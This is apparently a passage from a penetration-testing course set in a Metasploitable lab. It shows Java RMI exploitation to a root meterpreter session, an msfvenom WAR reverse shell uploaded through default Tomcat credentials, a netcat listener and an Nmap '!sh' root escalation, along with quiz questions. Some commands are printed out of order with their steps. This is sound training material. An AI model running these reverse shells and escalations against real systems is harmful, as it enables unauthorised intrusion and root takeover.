Step 2: Search exploit and configure the exploit

Use the below commands to configure the exploit.

Remember: The RHOST automatically uses your system IP address, so you have to check your vboxnet0 IP address using ifconfig vboxnet0.


Step 3: Execute the exploit

Once setup complete run "exploit" to get the meterpreter session:

Defend Against PHP_CGI Argument Injection

Keep updated your server to be free from exploitation.
Next:
Prev:
Reading Material
Web Application & RPC Exploitation Lesson 14 of 15
In Progress

Exploiting Java RMI (Remote Method Invocation) to Gain Root

Goal:  Exploit Java Remote Method Invocation (java_rmi) to Get Root access.

Java Remote Method Invocation, or Java RMI, is an object-oriented RPC mechanism that allows an object located in one Java virtual machine to call methods on an object located in another Java virtual machine. This enables developers to write distributed applications using an object-oriented paradigm.

Auxiliary scanning using msfconsole

Start the Metasploit database and console by typing the below command in the terminal:

┌─[mrdev@mr-dev]─[~]
└──╼ $ sudo msfdb init && sudo msfconsole
[sudo] password for mrdev: 
[+] Starting database
[i] The database appears to be already configured, skipping initialization
Call trans opt: received. 2-19-98 13:24:18 REC:Loc

     Trace program: running

           wake up, Neo...
        the matrix has you
      follow the white rabbit.

          knock, knock, Neo.

                        (`.         ,-,
                        ` `.    ,;' /
                         `.  ,'/ .'
                          `. X /.'
                .-;--''--.._` ` (
              .'            /   `
             ,           ` '   Q '
             ,         ,   `._    \
          ,.|         '     `-.;_'
          :  . `  ;    `  ` --,.._;
           ' `    ,   )   .'
              `._ ,  '   /_
                 ; ,''-,;' ``-
                  ``-..__``--`

                             https://metasploit.com


       =[ metasploit v6.1.9-dev                           ]
+ -- --=[ 2169 exploits - 1149 auxiliary - 398 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: To save all commands executed since start up   to a file, use the makerc command

msf6 > 
msf6 > search java_rmi

Matching Modules
================

   #  Name                                            Disclosure Date  Rank       Check  Description
   -  ----                                            ---------------  ----       -----  -----------
   0  auxiliary/gather/java_rmi_registry                               normal     No     Java RMI Registry Interfaces Enumeration
   1  exploit/multi/misc/java_rmi_server              2011-10-15       excellent  Yes    Java RMI Server Insecure Default Configuration Java Code Execution
   2  auxiliary/scanner/misc/java_rmi_server          2011-10-15       normal     No     Java RMI Server Insecure Endpoint Code Execution Scanner
   3  exploit/multi/browser/java_rmi_connection_impl  2010-03-31       excellent  No     Java RMIConnectionImpl Deserialization Privilege Escalation


Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > 
msf6 > use 2
msf6 auxiliary(scanner/misc/java_rmi_server) > show options  

Module options (auxiliary/scanner/misc/java_rmi_server):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    1099             yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/misc/java_rmi_server) >

There's an auxiliary scanner we can use to detect whether the Java RMI vulnerability exists on our target; At the prompt, type search java_rmi and log the "auxiliary/scanner/misc/java_rmi_server" module.

Next, enter use auxiliary/scanner/misc/java_rmi_server, and type options to display the settings.

The options indicate that we have to set the RHOSTS and THREADS. Once everything is fine execute and run the command to find out if the java_rmi exploit is possible or not.

msf6 auxiliary(scanner/misc/java_rmi_server) > set RHOSTS 192.168.56.3
RHOSTS => 192.168.56.3
msf6 auxiliary(scanner/misc/java_rmi_server) > set THREADS 16
THREADS => 16
msf6 auxiliary(scanner/misc/java_rmi_server) > run

[+] 192.168.56.3:1099     - 192.168.56.3:1099 Java RMI Endpoint Detected: Class Loader Enabled
[*] 192.168.56.3:1099     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/misc/java_rmi_server) >

We can see that the scanner detected a Java RMI endpoint on port 1099, which suggests the target may be vulnerable. Let's try to exploit it.

Exploiting Java_RMI

Back in our previous search results, locate the "exploit/multi/misc/java_rmi_server" module, and type use exploit/multi/misc/java_rmi_server to load it. 

msf6 auxiliary(scanner/misc/java_rmi_server) > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) >

From the upper command, the payload is automatically configured to java/meterpreter/reverse_tcp. If you want to configure payload, then run set payload {payload options}. 

To find out compatible payloads, then use the show payloads command to display the compatible payloads for this exploit. 

msf6 exploit(multi/misc/java_rmi_server) > show payloads 

Compatible Payloads
===================

   #   Name                                     Disclosure Date  Rank    Check  Description
   -   ----                                     ---------------  ----    -----  -----------
   0   payload/generic/custom                                    normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/java/jsp_shell_bind_tcp                           normal  No     Java JSP Command Shell, Bind TCP Inline
   4   payload/java/jsp_shell_reverse_tcp                        normal  No     Java JSP Command Shell, Reverse TCP Inline
   5   payload/java/meterpreter/bind_tcp                         normal  No     Java Meterpreter, Java Bind TCP Stager
   6   payload/java/meterpreter/reverse_http                     normal  No     Java Meterpreter, Java Reverse HTTP Stager
   7   payload/java/meterpreter/reverse_https                    normal  No     Java Meterpreter, Java Reverse HTTPS Stager
   8   payload/java/meterpreter/reverse_tcp                      normal  No     Java Meterpreter, Java Reverse TCP Stager
   9   payload/java/shell/bind_tcp                               normal  No     Command Shell, Java Bind TCP Stager
   10  payload/java/shell/reverse_tcp                            normal  No     Command Shell, Java Reverse TCP Stager
   11  payload/java/shell_reverse_tcp                            normal  No     Java Command Shell, Reverse TCP Inline
   12  payload/multi/meterpreter/reverse_http                    normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   13  payload/multi/meterpreter/reverse_https                   normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)

msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasplo
                                         it
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local mac
                                         hine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.xxx.xx.xxx   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)

msf6 exploit(multi/misc/java_rmi_server) > 

From above we have found out that we have to set the LHOST and RHOST and the run exploit command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.56.3
RHOSTS => 192.168.56.3
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] 192.168.56.3:1099 - Using URL: http://0.0.0.0:8080/GRw8tQO7
[*] 192.168.56.3:1099 - Local IP: http://192.168.43.192:8080/GRw8tQO7
[*] 192.168.56.3:1099 - Server started.
[*] 192.168.56.3:1099 - Sending RMI Header...
[*] 192.168.56.3:1099 - Sending RMI Call...
[*] 192.168.56.3:1099 - Replied to request for payload JAR
[*] Sending stage (58060 bytes) to 192.168.56.3
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:51528) at 2022-01-20 15:37:03 +0530
[-] 192.168.56.3:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request
[*] 192.168.56.3:1099 - Server stopped.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/java_rmi_server) >

From above, we found that a meterpreter session was created and you can find out the session using the below command:

msf6 exploit(multi/misc/java_rmi_server) > sessions  

Active sessions
===============

  Id  Name  Type                    Information            Connection
  --  ----  ----                    -----------            ----------
  1         meterpreter java/linux  root @ metasploitable  192.168.56.1:4444 -> 192.168.56.3:51528 (192.168.56.3)

msf6 exploit(multi/misc/java_rmi_server) >

From above we found an active meterpreter session. Use the below command to get the meterpreter prompt:

msf6 exploit(multi/misc/java_rmi_server) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid 
Server username: root
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux 2.6.24-16-server (i386)
Meterpreter : java/linux
meterpreter > 
Reading Material
Web Application & RPC Exploitation Lesson 15 of 15
In Progress

Exploiting Apache Tomcat / Coyote JSP Engine

Goal: Gain root privileges misconfigured Apache Tomcat/Coyote JSP engine 1.1 without msfconsole.

1. From the Nmap scan result, we found that port 80 is running which means, it is an HTTP service running on port 80, signaling that this target might be hosting some explorable web content.

PORT     STATE SERVICE     VERSION
8180/tcp open  http       Apache Tomcat/Coyote JSP engine 1.1

2. To look at the contents ourselves, we can open a web browser of our choice and navigate to the target's IP address in the URL bar at the top of the window. This will automatically address the target's port 8180 for the client-server communication and load the web page's contents.

Tomcat Apache Default Page

JSP stands for JavaServer Pages. All this means is, web pages accessed through port 8180 will be assembled by a Java web application.

3. We can see above that the Apache Tomcat default page is shown when we access the target machine IP through the browser. 

This is a default page and it shows that Apache Tomcat is configured on the system. There are a lot of default functionalities that are used to configure Apache. I clicked on the “Tomcat Manager” option. It prompted for a username and password, as you can see below.

┌─[mrdev@mr-dev]─[~]
└──╼ $sudo msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f war > hack.war
[sudo] password for mrdev: 
Payload size: 1098 bytes
Final size of war file: 1098 bytes
┌─[mrdev@mr-dev]─[~]
└──╼ $nc -lvnp 4444
listening on [any] 4444 ...
Coyote is a stand-alone web server that provides servlets to Tomcat applets. That is, it functions like the Apache web server, but for JavaServer Pages (JSP).

A prompt appears on my screen that asks me to input the username and password details to gain access to the Tomcat Web Application Manager.

4. Since the Apache default page was running, it might be a good idea to try login in with Tomcat default username and password. 

You can find the default credential by searching on the web. The results can be seen in the highlighted area of the following screenshot.

Default Credential for Apache Tomcat

5. From the Search result, I have tried the username and password combinations and I got success on tomcat:tomcat combination:

Tomcat Web Application Manager

6. Scroll down to see if there any upload option is available or not and you can find an upload option where you can deploy a WAR file. This is a good idea to take advantage of this to deploy a malicious war file to gain a reverse shell.

A WAR file (Web application ARchive) is a file used to distribute a collection of JAR-files, JavaServer Pages, Java Servlets, Java classes, XML files, tag libraries, static web pages (HTML and related files) and other resources that together constitute a web application.

7. To craft a malicious war file use the below command:

 where, 

  • LHOST    : Listing Host (if don't remember your IP run ifconfig vboxnet0)
  • LPORT    : Listining port (Give any port).
  • -p              : Specifies Payload
  • hack.war  : File name

8. A war file(hack.war) of 1098 bytes is created, and you can find it from /home directory. Once everything is fine run a listing host with the help of NetCat:

9. port 4444 is starting to list connections, once I run the hack.war file. To do this we have to upload the file to Tomcat Web Application Manager:

┌─[mrdev@mr-dev]─[~]
└──╼ $nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.3] 38749
id
uid=110(tomcat55) gid=65534(nogroup) groups=65534(nogroup)
python -c 'import pty;pty.spawn("bin/bash")'
tomcat55@metasploitable:/$
tomcat55@metasploitable:/$sudo -l
sudo -l
[sudo] password for tomcat55: 

tomcat55@metasploitable:/$

10. Once Deploy is successful you can locate the file from "Application Path". Click on /hack to get a connection to port 4444:

11. If everything is fine, you got a reverse shell connection on your Netcat:

12. To take a stable TTY shell on the target machine, run the below Python script:

13. Let's try to gain root access with the help of the sudo command:

To gain root access you might be required a valid root password.

Nmap Privilege Escalation

Nmap, known as Network Mapper, is used in scanning for network and OS services detection. However, if a misconfigured Linux terminal is used with “sudo” or “administrator” privileges can lead to a privilege escalation.
1. Run Nmap interactive mode:
tomcat55@metasploitable:/$ nmap --interactive
nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap>
2. Nmap interaction started. Run!sh command to gain root access:
nmap>!sh
!sh
sh-3.2#whoami
whoami
root
sh-3.2# 

As you can see the Privilege Escalation was Successfully executed.

Getting Started & Lab Setup Quiz

Lab Setup & Network Discovery Quiz

2 questions • Test your knowledge

Question 1
Why is NetDiscover effective for identifying active hosts in a local VirtualBox Host-Only or NAT Network?
Question 2
Which network adapter mode in VirtualBox allows vulnerable VMs to safely communicate only with the host and other lab VMs without exposing vulnerabilities to your home LAN?
Reconnaissance & Vulnerability Scanning Quiz

Reconnaissance & Vulnerability Auditing Quiz

2 questions • Test your knowledge

Question 1
Which Nmap flags run default NSE vulnerability scripts and perform service version detection across all TCP ports?
Question 2
What is the primary function of OpenVAS / Greenbone Vulnerability Management in a penetration test?
Exploiting Network Services & Backdoors Quiz

Exploiting Network Services & Backdoors Quiz

3 questions • Test your knowledge

Question 1
What special character string triggers the intentional backdoor in vsftpd version 2.3.4 to open a root shell on TCP port 6200?
Question 2
Which Metasploit exploit module targets the famous Samba command injection flaw in Metasploitable 2?
Question 3
How can an attacker exploit a writable, root-squash-disabled NFS share to gain a root shell?
Authentication & Password Attacks Quiz

Authentication & Password Attacks Quiz

2 questions • Test your knowledge

Question 1
What is the purpose of CeWL in a penetration testing engagement?
Question 2
Which Metasploit auxiliary module is commonly used to automate SSH credential testing and brute-force attacks?
Web Application & RPC Exploitation Quiz

Web App & RPC Exploitation Quiz

2 questions • Test your knowledge

Question 1
What vulnerability in PHP CGI (CVE-2012-1823) allows remote attackers to execute arbitrary code?
Question 2
How can an attacker compromise an Apache Tomcat management interface with default credentials (e.g. tomcat:tomcat)?